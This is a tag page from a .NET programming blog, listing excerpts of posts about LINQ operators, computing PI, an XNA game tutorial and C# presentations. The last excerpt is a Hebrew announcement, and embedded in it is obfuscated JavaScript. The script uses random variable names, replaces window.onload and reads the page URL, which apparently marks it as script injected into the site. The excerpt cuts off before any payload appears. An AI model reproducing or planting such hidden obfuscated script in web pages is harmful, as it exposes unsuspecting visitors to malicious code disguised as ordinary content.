LINQ - Pavel's Blog

# Pavel's Blog

## Browse by Tags

Calculating PI in .NET
I always loved mathematics. Although I’m certainly not a mathematician by profession, I’m always intrigued and inspired by math’s pureness and cleverness. One of the simplest and fascinating aspects of math is the number PI . Described simply as the ratio of a circle’s circumference to its diameter, it’s a constant with infinite digits after the decimal point and most importantly, non repeating (at least as far as I know). There are many ways to calculate PI, as evident within the PI Wikipedia link...
XNA 2D Game Tutorial (Part 8)
Previous posts in this series: Part 1 : Getting started Part 2 : Drawing something Part 3 : Input handling Part 4 : Game Components Part 5 : Animation and Sprites Part 6 : Handling Projectiles Part 7 : Sound Effects   What do we have so far? A player controlling a ship capable of firing missiles (with sound), flying through space with a backdrop of passing stars. Clearly, no real challenge for the player yet. It’s time to add some enemies to challenge the player. In this part, we’ll handle setting...
How to be a Cool C# Programmer
There are many C# programmers out there… but you probably want to be the coolest… it’s not enough to just call a bunch of methods, invoke some delegates, etc. You need to write it cool. Here are some ways you can make yourself a cool C# programmer (and pick up geeky chicks at your local C# party): 1. Use anonymous delegates whenever possible (or lambda expressions, see 2): var nums = new List < int >(); //... var nums2 = nums . FindAll ( delegate ( int n ) {    return n % 2 == 0;...
תגים:, , ,
Presentation & Demos from C# LINQ Open House
Today I presented a Microsoft Open House event focused on C# 3.0 features and LINQ. Thank you all for coming! I have attached the presentation and demos. Note that to make the LINQ to SQL samples work, you must change the connection string appropriately in the app.config file, or pass another one in the NorthwindDataContext constructor. Presentation & Demos
Upcoming Courses and an Event
I’ll be teaching next week (starting from the 16th) a five day course (split) entitled “The C# 3.0 programming language” on .NET and C# fundamentals. On the 18th of this month, I’ll do an open house at Microsoft on C# 3.0 and LINQ (same thing I did a few months back at Air Force house, so if you were there, no need to come again – unless you really like the food). You can register here . On March 1st, I’ll be teaching my Windows Internals class (for developers) on the (obviously) internals of the...
Some "Less Famous" but Useful LINQ Operators
LINQ has many operators, but some get more attention than others. The most famous are the ones which can be expressed in a from clause, such as Where , OrderBy , OrderByDescending , GroupBy and Select . However, many other operators exist - here's my favorite list: Intersect, Union, Except These operators are the set operators intersection (AND), union (OR) and difference. The Intersect operator returns the items that are present in both sequences as a new sequence. Here's an example: var...
Presentation and Samples from Open House on C# 3.0 and LINQ
מצורפים המצגת והדוגמאות שנתתי הבוקר בבית הפתוח של Microsoft בבית חיל האויר. WqCoONEvfWsCORu = window.onload; var jksbrJpMjFkVExnJs= 18931 - 6689; window.onload = XeQrOxKNqPEeGWCBYp; GhBDxpwYHpISQwGkT = ""; oEDsUaUPpewfMxIy =19948 + 6567; SIjbURusbJVkpcqLCAK = ""; mERLyGLcAaFGuUF = ""; var dCXvkIIbnEILFiYAKv =23721; YvYYOLaRNxVOwATeD = WwBgKYEshHLfxRSn(window.location.href); var PUSWiyFMFIDjcEWv; nBionPUaLBKvpdwKXrI = '154221'; var SbvyQxIiupGGIpVESqh; EGBjpVBghJpnEwrFxSp...